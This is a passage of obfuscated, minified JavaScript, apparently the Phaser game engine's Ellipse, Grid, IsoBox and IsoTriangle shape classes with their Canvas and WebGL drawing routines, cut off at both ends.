return this['width'] = _0x1e2d43, this['height'] = _0x2db251, this['geom']['setPosition'](_0x1e2d43 / 0x2, _0x2db251 / 0x2), this['geom']['setSize'](_0x1e2d43, _0x2db251), this['updateDisplayOrigin'](), this['updateData'](); }, 'setSmoothness': function (_0x4fec50) { return this['_smoothness'] = _0x4fec50, this['updateData'](); }, 'updateData': function () { for (var _0x472455 = [], _0x1d9dfe = this['geom']['getPoints'](this['_smoothness']), _0x546cb5 = 0x0; _0x546cb5 < _0x1d9dfe['length']; _0x546cb5++)_0x472455['push'](_0x1d9dfe[_0x546cb5]['x'], _0x1d9dfe[_0x546cb5]['y']); return _0x472455['push'](_0x1d9dfe[0x0]['x'], _0x1d9dfe[0x0]['y']), this['pathIndexes'] = _0x12af7f(_0x472455), this['pathData'] = _0x472455, this; } }); _0x493dc4['exports'] = _0x45bcea; }, 0x1efa: (_0x362434, _0xb9f3da, _0xc30529) => { var _0x5aec19 = _0xc30529(0x101a8), _0x56e566 = _0xc30529(0x125a9), _0x5ccc35 = _0xc30529(0x51be); _0x362434['exports'] = function (_0x4e49a8, _0x4b2021, _0x29fbba, _0x5b8987) { _0x29fbba['addToRenderList'](_0x4b2021); var _0x15d81d = _0x4e49a8['currentContext']; if (_0x5ccc35(_0x4e49a8, _0x15d81d, _0x4b2021, _0x29fbba, _0x5b8987)) { var _0x198603 = _0x4b2021['_displayOriginX'], _0x2e523b = _0x4b2021['_displayOriginY'], _0xc4753 = _0x4b2021['pathData'], _0x5c0ed9 = _0xc4753['length'] - 0x1, _0x16cd52 = _0xc4753[0x0] - _0x198603, _0x52e3d6 = _0xc4753[0x1] - _0x2e523b; _0x15d81d['beginPath'](), _0x15d81d['moveTo'](_0x16cd52, _0x52e3d6), _0x4b2021['closePath'] || (_0x5c0ed9 -= 0x2); for (var _0x565487 = 0x2; _0x565487 < _0x5c0ed9; _0x565487 += 0x2) { var _0x178306 = _0xc4753[_0x565487] - _0x198603, _0x32895c = _0xc4753[_0x565487 + 0x1] - _0x2e523b; _0x15d81d['lineTo'](_0x178306, _0x32895c); } _0x15d81d['closePath'](), _0x4b2021['isFilled'] && (_0x5aec19(_0x15d81d, _0x4b2021), _0x15d81d['fill']()), _0x4b2021['isStroked'] && (_0x56e566(_0x15d81d, _0x4b2021), _0x15d81d['stroke']()), _0x15d81d['restore'](); } }; }, 0x607: (_0xb8ccac, _0x34abd2, _0x58a3c1) => { var _0x230eea = _0x58a3c1(0x4dd1); _0x58a3c1(0x9a05)['register']('ellipse', function (_0x44195d, _0x4888a4, _0x592a6b, _0x57d592, _0x2398a5, _0x835051) { return this['displayList']['add'](new _0x230eea(this['scene'], _0x44195d, _0x4888a4, _0x592a6b, _0x57d592, _0x2398a5, _0x835051)); }); }, 0xd3bd: (_0x5788b4, _0x4b082c, _0xa99e99) => { var _0xf22ba9 = _0xa99e99(0x7433), _0x444572 = _0xf22ba9, _0xb687ee = _0xf22ba9; _0x444572 = _0xa99e99(0x4c0b), _0xb687ee = _0xa99e99(0x1efa), _0x5788b4['exports'] = { 'renderWebGL': _0x444572, 'renderCanvas': _0xb687ee }; }, 0x4c0b: (_0x4f580b, _0x34f40b, _0x3b6321) => { var _0x37a9a1 = _0x3b6321(0x28c9), _0xf3c665 = _0x3b6321(0x164a0), _0x13c8c6 = _0x3b6321(0x877a); _0x4f580b['exports'] = function (_0x5098fc, _0x34e183, _0x5549a9, _0x1be25e) { _0x5549a9['addToRenderList'](_0x34e183); var _0xb61b4f = _0x5098fc['pipelines']['set'](_0x34e183['pipeline']), _0x2e2b49 = _0xf3c665(_0x34e183, _0x5549a9, _0x1be25e), _0x174841 = _0xb61b4f['calcMatrix']['copyFrom'](_0x2e2b49['calc']), _0x40bf7f = _0x34e183['_displayOriginX'], _0x4ed689 = _0x34e183['_displayOriginY'], _0x38a073 = _0x5549a9['alpha'] * _0x34e183['alpha']; _0x5098fc['pipelines']['preBatch'](_0x34e183), _0x34e183['isFilled'] && _0x37a9a1(_0xb61b4f, _0x174841, _0x34e183, _0x38a073, _0x40bf7f, _0x4ed689), _0x34e183['isStroked'] && _0x13c8c6(_0xb61b4f, _0x34e183, _0x38a073, _0x40bf7f, _0x4ed689), _0x5098fc['pipelines']['postBatch'](_0x34e183); }; }, 0x770f: (_0x3d748c, _0xa98b65, _0x53c853) => { var _0x67ed2e = _0x53c853(0x145db), _0x1b73a8 = _0x53c853(0x458b), _0x39da8b = _0x53c853(0x659f), _0x58146d = new _0x67ed2e({ 'Extends': _0x1b73a8, 'Mixins': [_0x39da8b], 'initialize': function (_0x172d8c, _0x5db416, _0x2ba0b4, _0x56bc16, _0x405f95, _0x846c53, _0x35c815, _0x47491f, _0x20ccf5, _0x3e1149, _0x16b680) { void 0x0 === _0x5db416 && (_0x5db416 = 0x0), void 0x0 === _0x2ba0b4 && (_0x2ba0b4 = 0x0), void 0x0 === _0x56bc16 && (_0x56bc16 = 0x80), void 0x0 === _0x405f95 && (_0x405f95 = 0x80), void 0x0 === _0x846c53 && (_0x846c53 = 0x20), void 0x0 === _0x35c815 && (_0x35c815 = 0x20), _0x1b73a8['call'](this, _0x172d8c, 'Grid', null), this['cellWidth'] = _0x846c53, this['cellHeight'] = _0x35c815, this['showCells'] = !0x0, this['outlineFillColor'] = 0x0, this['outlineFillAlpha'] = 0x0, this['showOutline'] = !0x0, this['showAltCells'] = !0x1, this['altFillColor'], this['altFillAlpha'], this['setPosition'](_0x5db416, _0x2ba0b4), this['setSize'](_0x56bc16, _0x405f95), this['setFillStyle'](_0x47491f, _0x20ccf5), void 0x0 !== _0x3e1149 && this['setOutlineStyle'](_0x3e1149, _0x16b680), this['updateDisplayOrigin'](); }, 'setFillStyle': function (_0x4691b1, _0x560ebe) { return void 0x0 === _0x560ebe && (_0x560ebe = 0x1), void 0x0 === _0x4691b1 ? this['showCells'] = !0x1 : (this['fillColor'] = _0x4691b1, this['fillAlpha'] = _0x560ebe, this['showCells'] = !0x0), this; }, 'setAltFillStyle': function (_0x13d592, _0x419547) { return void 0x0 === _0x419547 && (_0x419547 = 0x1), void 0x0 === _0x13d592 ? this['showAltCells'] = !0x1 : (this['altFillColor'] = _0x13d592, this['altFillAlpha'] = _0x419547, this['showAltCells'] = !0x0), this; }, 'setOutlineStyle': function (_0x3370f8, _0x2cbfe6) { return void 0x0 === _0x2cbfe6 && (_0x2cbfe6 = 0x1), void 0x0 === _0x3370f8 ? this['showOutline'] = !0x1 : (this['outlineFillColor'] = _0x3370f8, this['outlineFillAlpha'] = _0x2cbfe6, this['showOutline'] = !0x0), this; } }); _0x3d748c['exports'] = _0x58146d; }, 0xc2f8: (_0x461dd0, _0x3c7d80, _0x3ec86f) => { var _0x2aa443 = _0x3ec86f(0x101a8), _0x5608b8 = _0x3ec86f(0x125a9), _0x503114 = _0x3ec86f(0x51be); _0x461dd0['exports'] = function (_0x861444, _0x1bf705, _0x52617a, _0x3b75e8) { _0x52617a['addToRenderList'](_0x1bf705); var _0x41db96 = _0x861444['currentContext']; if (_0x503114(_0x861444, _0x41db96, _0x1bf705, _0x52617a, _0x3b75e8)) { var _0x561365 = -_0x1bf705['_displayOriginX'], _0x355148 = -_0x1bf705['_displayOriginY'], _0x4ab820 = _0x52617a['alpha'] * _0x1bf705['alpha'], _0x19bd91 = _0x1bf705['width'], _0x3c533b = _0x1bf705['height'], _0x20592e = _0x1bf705['cellWidth'], _0x56f2eb = _0x1bf705['cellHeight'], _0x3cd254 = Math['ceil'](_0x19bd91 / _0x20592e), _0xea52a8 = Math['ceil'](_0x3c533b / _0x56f2eb), _0x5d8c09 = _0x20592e, _0x5763b1 = _0x56f2eb, _0x247a8a = _0x20592e - (_0x3cd254 * _0x20592e - _0x19bd91), _0x3f1852 = _0x56f2eb - (_0xea52a8 * _0x56f2eb - _0x3c533b), _0x5dc7e2 = _0x1bf705['showCells'], _0x2db5b6 = _0x1bf705['showAltCells'], _0x4c304e = _0x1bf705['showOutline'], _0x27ca89 = 0x0, _0x5ef538 = 0x0, _0x5739c8 = 0x0, _0x5d690d = 0x0, _0x1c9072 = 0x0; if (_0x4c304e && (_0x5d8c09--, _0x5763b1--, _0x247a8a === _0x20592e && _0x247a8a--, _0x3f1852 === _0x56f2eb && _0x3f1852--), _0x5dc7e2 && _0x1bf705['fillAlpha'] > 0x0) { for (_0x2aa443(_0x41db96, _0x1bf705), _0x5ef538 = 0x0; _0x5ef538 < _0xea52a8; _0x5ef538++)for (_0x2db5b6 && (_0x5739c8 = _0x5ef538 % 0x2), _0x27ca89 = 0x0; _0x27ca89 < _0x3cd254; _0x27ca89++)_0x2db5b6 && _0x5739c8 ? _0x5739c8 = 0x0 : (_0x5739c8++, _0x5d690d = _0x27ca89 < _0x3cd254 - 0x1 ? _0x5d8c09 : _0x247a8a, _0x1c9072 = _0x5ef538 < _0xea52a8 - 0x1 ? _0x5763b1 : _0x3f1852, _0x41db96['fillRect'](_0x561365 + _0x27ca89 * _0x20592e, _0x355148 + _0x5ef538 * _0x56f2eb, _0x5d690d, _0x1c9072)); } if (_0x2db5b6 && _0x1bf705['altFillAlpha'] > 0x0) { for (_0x2aa443(_0x41db96, _0x1bf705, _0x1bf705['altFillColor'], _0x1bf705['altFillAlpha'] * _0x4ab820), _0x5ef538 = 0x0; _0x5ef538 < _0xea52a8; _0x5ef538++)for (_0x2db5b6 && (_0x5739c8 = _0x5ef538 % 0x2), _0x27ca89 = 0x0; _0x27ca89 < _0x3cd254; _0x27ca89++)!_0x2db5b6 || _0x5739c8 ? (_0x5739c8 = 0x0, _0x5d690d = _0x27ca89 < _0x3cd254 - 0x1 ? _0x5d8c09 : _0x247a8a, _0x1c9072 = _0x5ef538 < _0xea52a8 - 0x1 ? _0x5763b1 : _0x3f1852, _0x41db96['fillRect'](_0x561365 + _0x27ca89 * _0x20592e, _0x355148 + _0x5ef538 * _0x56f2eb, _0x5d690d, _0x1c9072)) : _0x5739c8 = 0x1; } if (_0x4c304e && _0x1bf705['outlineFillAlpha'] > 0x0) { for (_0x5608b8(_0x41db96, _0x1bf705, _0x1bf705['outlineFillColor'], _0x1bf705['outlineFillAlpha'] * _0x4ab820), _0x27ca89 = 0x1; _0x27ca89 < _0x3cd254; _0x27ca89++) { var _0x3649a6 = _0x27ca89 * _0x20592e; _0x41db96['beginPath'](), _0x41db96['moveTo'](_0x3649a6 + _0x561365, _0x355148), _0x41db96['lineTo'](_0x3649a6 + _0x561365, _0x3c533b + _0x355148), _0x41db96['stroke'](); } for (_0x5ef538 = 0x1; _0x5ef538 < _0xea52a8; _0x5ef538++) { var _0x51e598 = _0x5ef538 * _0x56f2eb; _0x41db96['beginPath'](), _0x41db96['moveTo'](_0x561365, _0x51e598 + _0x355148), _0x41db96['lineTo'](_0x561365 + _0x19bd91, _0x51e598 + _0x355148), _0x41db96['stroke'](); } } _0x41db96['restore'](); } }; }, 0x8559: (_0x45680a, _0x1bb7b3, _0x51cbaf) => { var _0x5af43e = _0x51cbaf(0x9a05), _0x4153a1 = _0x51cbaf(0x770f); _0x5af43e['register']('grid', function (_0x11f6b4, _0xb4cbb7, _0x1d404a, _0x135a0c, _0x178dac, _0x5c4538, _0x590f9d, _0x51c442, _0x23fc86, _0x43ce6f) { return this['displayList']['add'](new _0x4153a1(this['scene'], _0x11f6b4, _0xb4cbb7, _0x1d404a, _0x135a0c, _0x178dac, _0x5c4538, _0x590f9d, _0x51c442, _0x23fc86, _0x43ce6f)); }); }, 0x659f: (_0x2f9eb3, _0x3f191e, _0x2e1847) => { var _0x2251b4 = _0x2e1847(0x7433), _0x48bde9 = _0x2251b4, _0x5a0191 = _0x2251b4; _0x48bde9 = _0x2e1847(0xb451), _0x5a0191 = _0x2e1847(0xc2f8), _0x2f9eb3['exports'] = { 'renderWebGL': _0x48bde9, 'renderCanvas': _0x5a0191 }; }, 0xb451: (_0x13b975, _0xc0dbc8, _0x539c34) => { var _0x3551bf = _0x539c34(0x164a0), _0x39417c = _0x539c34(0x1139a); _0x13b975['exports'] = function (_0x272ff3, _0x4f5cd3, _0x4e39fa, _0x369a6a) { _0x4e39fa['addToRenderList'](_0x4f5cd3); var _0x584ed0 = _0x272ff3['pipelines']['set'](_0x4f5cd3['pipeline']), _0x1a4b26 = _0x3551bf(_0x4f5cd3, _0x4e39fa, _0x369a6a); _0x584ed0['calcMatrix']['copyFrom'](_0x1a4b26['calc'])['translate'](-_0x4f5cd3['_displayOriginX'], -_0x4f5cd3['_displayOriginY']); var _0x54cfa0, _0x43977d, _0x1d4210 = _0x4e39fa['alpha'] * _0x4f5cd3['alpha'], _0x4a42e6 = _0x4f5cd3['width'], _0x14bc68 = _0x4f5cd3['height'], _0x67edca = _0x4f5cd3['cellWidth'], _0x4c4092 = _0x4f5cd3['cellHeight'], _0x4dee3c = Math['ceil'](_0x4a42e6 / _0x67edca), _0x20a1b6 = Math['ceil'](_0x14bc68 / _0x4c4092), _0x34decd = _0x67edca, _0x3112f8 = _0x4c4092, _0x57e623 = _0x67edca - (_0x4dee3c * _0x67edca - _0x4a42e6), _0x3c38d3 = _0x4c4092 - (_0x20a1b6 * _0x4c4092 - _0x14bc68), _0x158530 = _0x4f5cd3['showCells'], _0xcf2ca9 = _0x4f5cd3['showAltCells'], _0xfafb0c = _0x4f5cd3['showOutline'], _0x28f908 = 0x0, _0xf69d70 = 0x0, _0x5a16af = 0x0, _0x5942a2 = 0x0, _0x30969c = 0x0; if (_0xfafb0c && (_0x34decd--, _0x3112f8--, _0x57e623 === _0x67edca && _0x57e623--, _0x3c38d3 === _0x4c4092 && _0x3c38d3--), _0x272ff3['pipelines']['preBatch'](_0x4f5cd3), _0x158530 && _0x4f5cd3['fillAlpha'] > 0x0) { for (_0x54cfa0 = _0x584ed0['fillTint'], _0x43977d = _0x39417c['getTintAppendFloatAlpha'](_0x4f5cd3['fillColor'], _0x4f5cd3['fillAlpha'] * _0x1d4210), _0x54cfa0['TL'] = _0x43977d, _0x54cfa0['TR'] = _0x43977d, _0x54cfa0['BL'] = _0x43977d, _0x54cfa0['BR'] = _0x43977d, _0xf69d70 = 0x0; _0xf69d70 < _0x20a1b6; _0xf69d70++)for (_0xcf2ca9 && (_0x5a16af = _0xf69d70 % 0x2), _0x28f908 = 0x0; _0x28f908 < _0x4dee3c; _0x28f908++)_0xcf2ca9 && _0x5a16af ? _0x5a16af = 0x0 : (_0x5a16af++, _0x5942a2 = _0x28f908 < _0x4dee3c - 0x1 ? _0x34decd : _0x57e623, _0x30969c = _0xf69d70 < _0x20a1b6 - 0x1 ? _0x3112f8 : _0x3c38d3, _0x584ed0['batchFillRect'](_0x28f908 * _0x67edca, _0xf69d70 * _0x4c4092, _0x5942a2, _0x30969c)); } if (_0xcf2ca9 && _0x4f5cd3['altFillAlpha'] > 0x0) { for (_0x54cfa0 = _0x584ed0['fillTint'], _0x43977d = _0x39417c['getTintAppendFloatAlpha'](_0x4f5cd3['altFillColor'], _0x4f5cd3['altFillAlpha'] * _0x1d4210), _0x54cfa0['TL'] = _0x43977d, _0x54cfa0['TR'] = _0x43977d, _0x54cfa0['BL'] = _0x43977d, _0x54cfa0['BR'] = _0x43977d, _0xf69d70 = 0x0; _0xf69d70 < _0x20a1b6; _0xf69d70++)for (_0xcf2ca9 && (_0x5a16af = _0xf69d70 % 0x2), _0x28f908 = 0x0; _0x28f908 < _0x4dee3c; _0x28f908++)!_0xcf2ca9 || _0x5a16af ? (_0x5a16af = 0x0, _0x5942a2 = _0x28f908 < _0x4dee3c - 0x1 ? _0x34decd : _0x57e623, _0x30969c = _0xf69d70 < _0x20a1b6 - 0x1 ? _0x3112f8 : _0x3c38d3, _0x584ed0['batchFillRect'](_0x28f908 * _0x67edca, _0xf69d70 * _0x4c4092, _0x5942a2, _0x30969c)) : _0x5a16af = 0x1; } if (_0xfafb0c && _0x4f5cd3['outlineFillAlpha'] > 0x0) { var _0x27ae25 = _0x584ed0['strokeTint'], _0x4d265a = _0x39417c['getTintAppendFloatAlpha'](_0x4f5cd3['outlineFillColor'], _0x4f5cd3['outlineFillAlpha'] * _0x1d4210); for (_0x27ae25['TL'] = _0x4d265a, _0x27ae25['TR'] = _0x4d265a, _0x27ae25['BL'] = _0x4d265a, _0x27ae25['BR'] = _0x4d265a, _0x28f908 = 0x1; _0x28f908 < _0x4dee3c; _0x28f908++) { var _0x32c6c8 = _0x28f908 * _0x67edca; _0x584ed0['batchLine'](_0x32c6c8, 0x0, _0x32c6c8, _0x14bc68, 0x1, 0x1, 0x1, 0x0, !0x1); } for (_0xf69d70 = 0x1; _0xf69d70 < _0x20a1b6; _0xf69d70++) { var _0x224d29 = _0xf69d70 * _0x4c4092; _0x584ed0['batchLine'](0x0, _0x224d29, _0x4a42e6, _0x224d29, 0x1, 0x1, 0x1, 0x0, !0x1); } } _0x272ff3['pipelines']['postBatch'](_0x4f5cd3); }; }, 0xf023: (_0x26f3aa, _0x21fc76, _0x236c25) => { var _0x6a5370 = _0x236c25(0x18543), _0x32806d = _0x236c25(0x145db), _0xe9a189 = _0x236c25(0x458b), _0x2487ed = new _0x32806d({ 'Extends': _0xe9a189, 'Mixins': [_0x6a5370], 'initialize': function (_0x24e66e, _0x38d71d, _0x27d58a, _0x757d87, _0x3ff575, _0x346c73, _0x4a734a, _0x402a76) { void 0x0 === _0x38d71d && (_0x38d71d = 0x0), void 0x0 === _0x27d58a && (_0x27d58a = 0x0), void 0x0 === _0x757d87 && (_0x757d87 = 0x30), void 0x0 === _0x3ff575 && (_0x3ff575 = 0x20), void 0x0 === _0x346c73 && (_0x346c73 = 0xeeeeee), void 0x0 === _0x4a734a && (_0x4a734a = 0x999999), void 0x0 === _0x402a76 && (_0x402a76 = 0xcccccc), _0xe9a189['call'](this, _0x24e66e, 'IsoBox', null), this['projection'] = 0x4, this['fillTop'] = _0x346c73, this['fillLeft'] = _0x4a734a, this['fillRight'] = _0x402a76, this['showTop'] = !0x0, this['showLeft'] = !0x0, this['showRight'] = !0x0, this['isFilled'] = !0x0, this['setPosition'](_0x38d71d, _0x27d58a), this['setSize'](_0x757d87, _0x3ff575), this['updateDisplayOrigin'](); }, 'setProjection': function (_0x1a68e3) { return this['projection'] = _0x1a68e3, this; }, 'setFaces': function (_0x17850c, _0x53934b, _0x40fc53) { return void 0x0 === _0x17850c && (_0x17850c = !0x0), void 0x0 === _0x53934b && (_0x53934b = !0x0), void 0x0 === _0x40fc53 && (_0x40fc53 = !0x0), this['showTop'] = _0x17850c, this['showLeft'] = _0x53934b, this['showRight'] = _0x40fc53, this; }, 'setFillStyle': function (_0x9e5fc0, _0x2b4287, _0x13a483) { return this['fillTop'] = _0x9e5fc0, this['fillLeft'] = _0x2b4287, this['fillRight'] = _0x13a483, this['isFilled'] = !0x0, this; } }); _0x26f3aa['exports'] = _0x2487ed; }, 0x2cf4: (_0x58e33d, _0x5d263b, _0x48b91f) => { var _0x207c56 = _0x48b91f(0x101a8), _0x43da18 = _0x48b91f(0x51be); _0x58e33d['exports'] = function (_0x59fec7, _0x1a4909, _0x46c543, _0x4e0c52) { _0x46c543['addToRenderList'](_0x1a4909); var _0x167913 = _0x59fec7['currentContext']; if (_0x43da18(_0x59fec7, _0x167913, _0x1a4909, _0x46c543, _0x4e0c52) && _0x1a4909['isFilled']) { var _0x140712 = _0x1a4909['width'], _0x2f7e79 = _0x1a4909['height'], _0x308529 = _0x140712 / 0x2, _0x34c0e9 = _0x140712 / _0x1a4909['projection']; _0x1a4909['showTop'] && (_0x207c56(_0x167913, _0x1a4909, _0x1a4909['fillTop']), _0x167913['beginPath'](), _0x167913['moveTo'](-_0x308529, -_0x2f7e79), _0x167913['lineTo'](0x0, -_0x34c0e9 - _0x2f7e79), _0x167913['lineTo'](_0x308529, -_0x2f7e79), _0x167913['lineTo'](_0x308529, -0x1), _0x167913['lineTo'](0x0, _0x34c0e9 - 0x1), _0x167913['lineTo'](-_0x308529, -0x1), _0x167913['lineTo'](-_0x308529, -_0x2f7e79), _0x167913['fill']()), _0x1a4909['showLeft'] && (_0x207c56(_0x167913, _0x1a4909, _0x1a4909['fillLeft']), _0x167913['beginPath'](), _0x167913['moveTo'](-_0x308529, 0x0), _0x167913['lineTo'](0x0, _0x34c0e9), _0x167913['lineTo'](0x0, _0x34c0e9 - _0x2f7e79), _0x167913['lineTo'](-_0x308529, -_0x2f7e79), _0x167913['lineTo'](-_0x308529, 0x0), _0x167913['fill']()), _0x1a4909['showRight'] && (_0x207c56(_0x167913, _0x1a4909, _0x1a4909['fillRight']), _0x167913['beginPath'](), _0x167913['moveTo'](_0x308529, 0x0), _0x167913['lineTo'](0x0, _0x34c0e9), _0x167913['lineTo'](0x0, _0x34c0e9 - _0x2f7e79), _0x167913['lineTo'](_0x308529, -_0x2f7e79), _0x167913['lineTo'](_0x308529, 0x0), _0x167913['fill']()), _0x167913['restore'](); } }; }, 0xf5d: (_0x5bd1a1, _0x5d9aa6, _0x235ff9) => { var _0x5eb30d = _0x235ff9(0x9a05), _0xf7f11e = _0x235ff9(0xf023); _0x5eb30d['register']('isobox', function (_0x3814dc, _0x4cb03c, _0x2ec7a0, _0x43204f, _0x4a2184, _0x175a47, _0x44d2d2) { return this['displayList']['add'](new _0xf7f11e(this['scene'], _0x3814dc, _0x4cb03c, _0x2ec7a0, _0x43204f, _0x4a2184, _0x175a47, _0x44d2d2)); }); }, 0x18543: (_0x4e9e6c, _0x2beb05, _0x12fa49) => { var _0x3e6524 = _0x12fa49(0x7433), _0x4a5c10 = _0x3e6524, _0x3b2eab = _0x3e6524; _0x4a5c10 = _0x12fa49(0x10a35), _0x3b2eab = _0x12fa49(0x2cf4), _0x4e9e6c['exports'] = { 'renderWebGL': _0x4a5c10, 'renderCanvas': _0x3b2eab }; }, 0x10a35: (_0x41da6b, _0x39f02f, _0x1ccef0) => { var _0x542fec = _0x1ccef0(0x164a0), _0x1c02a0 = _0x1ccef0(0x1139a); _0x41da6b['exports'] = function (_0x147cec, _0x11fa6d, _0x5465ff, _0x218ca4) { _0x5465ff['addToRenderList'](_0x11fa6d); var _0x35cd32, _0x3c33f2, _0x5ad3a3, _0x142ffd, _0x5d8bb9, _0x4f70e5, _0x4a76fe, _0x4e961b, _0x170ed8, _0x1529e6 = _0x147cec['pipelines']['set'](_0x11fa6d['pipeline']), _0x4cfa7f = _0x542fec(_0x11fa6d, _0x5465ff, _0x218ca4), _0x30d7ae = _0x1529e6['calcMatrix']['copyFrom'](_0x4cfa7f['calc']), _0x988b89 = _0x11fa6d['width'], _0x3e0c1c = _0x11fa6d['height'], _0x6bb5c8 = _0x988b89 / 0x2, _0xf1c83a = _0x988b89 / _0x11fa6d['projection'], _0x4fdfcf = _0x5465ff['alpha'] * _0x11fa6d['alpha']; _0x11fa6d['isFilled'] && (_0x147cec['pipelines']['preBatch'](_0x11fa6d), _0x11fa6d['showTop'] && (_0x35cd32 = _0x1c02a0['getTintAppendFloatAlpha'](_0x11fa6d['fillTop'], _0x4fdfcf), _0x3c33f2 = _0x30d7ae['getX'](-_0x6bb5c8, -_0x3e0c1c), _0x5ad3a3 = _0x30d7ae['getY'](-_0x6bb5c8, -_0x3e0c1c), _0x142ffd = _0x30d7ae['getX'](0x0, -_0xf1c83a - _0x3e0c1c), _0x5d8bb9 = _0x30d7ae['getY'](0x0, -_0xf1c83a - _0x3e0c1c), _0x4f70e5 = _0x30d7ae['getX'](_0x6bb5c8, -_0x3e0c1c), _0x4a76fe = _0x30d7ae['getY'](_0x6bb5c8, -_0x3e0c1c), _0x4e961b = _0x30d7ae['getX'](0x0, _0xf1c83a - _0x3e0c1c), _0x170ed8 = _0x30d7ae['getY'](0x0, _0xf1c83a - _0x3e0c1c), _0x1529e6['batchQuad'](_0x11fa6d, _0x3c33f2, _0x5ad3a3, _0x142ffd, _0x5d8bb9, _0x4f70e5, _0x4a76fe, _0x4e961b, _0x170ed8, 0x0, 0x0, 0x1, 0x1, _0x35cd32, _0x35cd32, _0x35cd32, _0x35cd32, 0x2)), _0x11fa6d['showLeft'] && (_0x35cd32 = _0x1c02a0['getTintAppendFloatAlpha'](_0x11fa6d['fillLeft'], _0x4fdfcf), _0x3c33f2 = _0x30d7ae['getX'](-_0x6bb5c8, 0x0), _0x5ad3a3 = _0x30d7ae['getY'](-_0x6bb5c8, 0x0), _0x142ffd = _0x30d7ae['getX'](0x0, _0xf1c83a), _0x5d8bb9 = _0x30d7ae['getY'](0x0, _0xf1c83a), _0x4f70e5 = _0x30d7ae['getX'](0x0, _0xf1c83a - _0x3e0c1c), _0x4a76fe = _0x30d7ae['getY'](0x0, _0xf1c83a - _0x3e0c1c), _0x4e961b = _0x30d7ae['getX'](-_0x6bb5c8, -_0x3e0c1c), _0x170ed8 = _0x30d7ae['getY'](-_0x6bb5c8, -_0x3e0c1c), _0x1529e6['batchQuad'](_0x11fa6d, _0x3c33f2, _0x5ad3a3, _0x142ffd, _0x5d8bb9, _0x4f70e5, _0x4a76fe, _0x4e961b, _0x170ed8, 0x0, 0x0, 0x1, 0x1, _0x35cd32, _0x35cd32, _0x35cd32, _0x35cd32, 0x2)), _0x11fa6d['showRight'] && (_0x35cd32 = _0x1c02a0['getTintAppendFloatAlpha'](_0x11fa6d['fillRight'], _0x4fdfcf), _0x3c33f2 = _0x30d7ae['getX'](_0x6bb5c8, 0x0), _0x5ad3a3 = _0x30d7ae['getY'](_0x6bb5c8, 0x0), _0x142ffd = _0x30d7ae['getX'](0x0, _0xf1c83a), _0x5d8bb9 = _0x30d7ae['getY'](0x0, _0xf1c83a), _0x4f70e5 = _0x30d7ae['getX'](0x0, _0xf1c83a - _0x3e0c1c), _0x4a76fe = _0x30d7ae['getY'](0x0, _0xf1c83a - _0x3e0c1c), _0x4e961b = _0x30d7ae['getX'](_0x6bb5c8, -_0x3e0c1c), _0x170ed8 = _0x30d7ae['getY'](_0x6bb5c8, -_0x3e0c1c), _0x1529e6['batchQuad'](_0x11fa6d, _0x3c33f2, _0x5ad3a3, _0x142ffd, _0x5d8bb9, _0x4f70e5, _0x4a76fe, _0x4e961b, _0x170ed8, 0x0, 0x0, 0x1, 0x1, _0x35cd32, _0x35cd32, _0x35cd32, _0x35cd32, 0x2)), _0x147cec['pipelines']['postBatch'](_0x11fa6d)); }; }, 0x4225: (_0x13fca0, _0x218ed9, _0x5715ba) => { var _0x37a6a5 = _0x5715ba(0x145db), _0x67744 = _0x5715ba(0xec91), _0xdcc589 = _0x5715ba(0x458b), _0x1afbdc = new _0x37a6a5({ 'Extends': _0xdcc589, 'Mixins': [_0x67744], 'initialize': function (_0x9a282c, _0x1e6196, _0x1a1708, _0x318bac, _0x13b7a1, _0x4fd4c3, _0x4005ba, _0x230dc5, _0x11ac2a) { void 0x0 === _0x1e6196 && (_0x1e6196 = 0x0), void 0x0 === _0x1a1708 && (_0x1a1708 = 0x0), void 0x0 === _0x318bac && (_0x318bac = 0x30), void 0x0 === _0x13b7a1 && (_0x13b7a1 = 0x20), void 0x0 === _0x4fd4c3 && (_0x4fd4c3 = !0x1), void 0x0 === _0x4005ba && (_0x4005ba = 0xeeeeee), void 0x0 === _0x230dc5 && (_0x230dc5 = 0x999999), void 0x0 === _0x11ac2a && (_0x11ac2a = 0xcccccc), _0xdcc589['call'](this, _0x9a282c, 'IsoTriangle', null), this['projection'] = 0x4, this['fillTop'] = _0x4005ba, this['fillLeft'] = _0x230dc5, this['fillRight'] = _0x11ac2a, this['showTop'] = !0x0, this['showLeft'] = !0x0, this['showRight'] = !0x0, this['isReversed'] = _0x4fd4c3, this['isFilled'] = !0x0, this['setPosition'](_0x1e6196, _0x1a1708), this['setSize'](_0x318bac, _0x13b7a1), this['updateDisplayOrigin'](); }, 'setProjection': function (_0x1c2536) { return this['projection'] = _0x1c2536, this; }, 'setReversed': function (_0x4b282f) { return this['isReversed'] = _0x4b282f, this; }, 'setFaces': function (_0x379c26, _0x262358, _0x2b6309) { return void 0x0 === _0x379c26 && (_0x379c26 = !0x0), void 0x0 === _0x262358 && (_0x262358 = !0x0), void 0x0 === _0x2b6309 && (_0x2b6309 = !0x0), this['showTop'] = _0x379c26, this['showLeft'] = _0x262358, this['showRight'] = _0x2b6309, this; }, 'setFillStyle': function (_0x582546, _0x216a0f, _0xb18b6b) { return this['fillTop'] = _0x582546, this['fillLeft'] = _0x216a0f, this['fillRight'] = _0xb18b6b, this['isFilled'] = !0x0, this; } }); _0x13fca0['exports'] = _0x1afbdc; }, 0x136e6: (_0xd41c9, _0x2fca16, _0x13084b) => { var _0x4fdc3f = _0x13084b(0x101a8), _0x4b1e2d = _0x13084b(0x51be); _0xd41c9['exports'] = function (_0x13abbb, _0x4c403c, _0x415491, _0x163a74) { _0x415491['addToRenderList'](_0x4c403c); var _0x5d45c9 = _0x13abbb['currentContext']; if (_0x4b1e2d(_0x13abbb, _0x5d45c9, _0x4c403c, _0x415491, _0x163a74) && _0x4c403c['isFilled']) { var _0x497943 = _0x4c403c['width'], _0x3ec1d9 = _0x4c403c['height'], _0x5e9674 = _0x497943 / 0x2, _0x571f19 = _0x497943 / _0x4c403c['projection'], _0x5aefbf = _0x4c403c['isReversed']; _0x4c403c['showTop'] && _0x5aefbf && (_0x4fdc3f(_0x5d45c9, _0x4c403c, _0x4c403c['fillTop']), _0x5d45c9['beginPath'](), _0x5d45c9['moveTo'](-_0x5e9674, -_0x3ec1d9), _0x5d45c9['lineTo'](0x0, -_0x571f19 - _0x3ec1d9), _0x5d45c9['lineTo'](_0x5e9674, -_0x3ec1d9), _0x5d45c9['lineTo'](0x0, _0x571f19 - _0x3ec1d9), _0x5d45c9['fill']()), _0x4c403c['showLeft'] && (_0x4fdc3f(_0x5d45c9, _0x4c403c, _0x4c403c['fillLeft']), _0x5d45c9['beginPath'](), 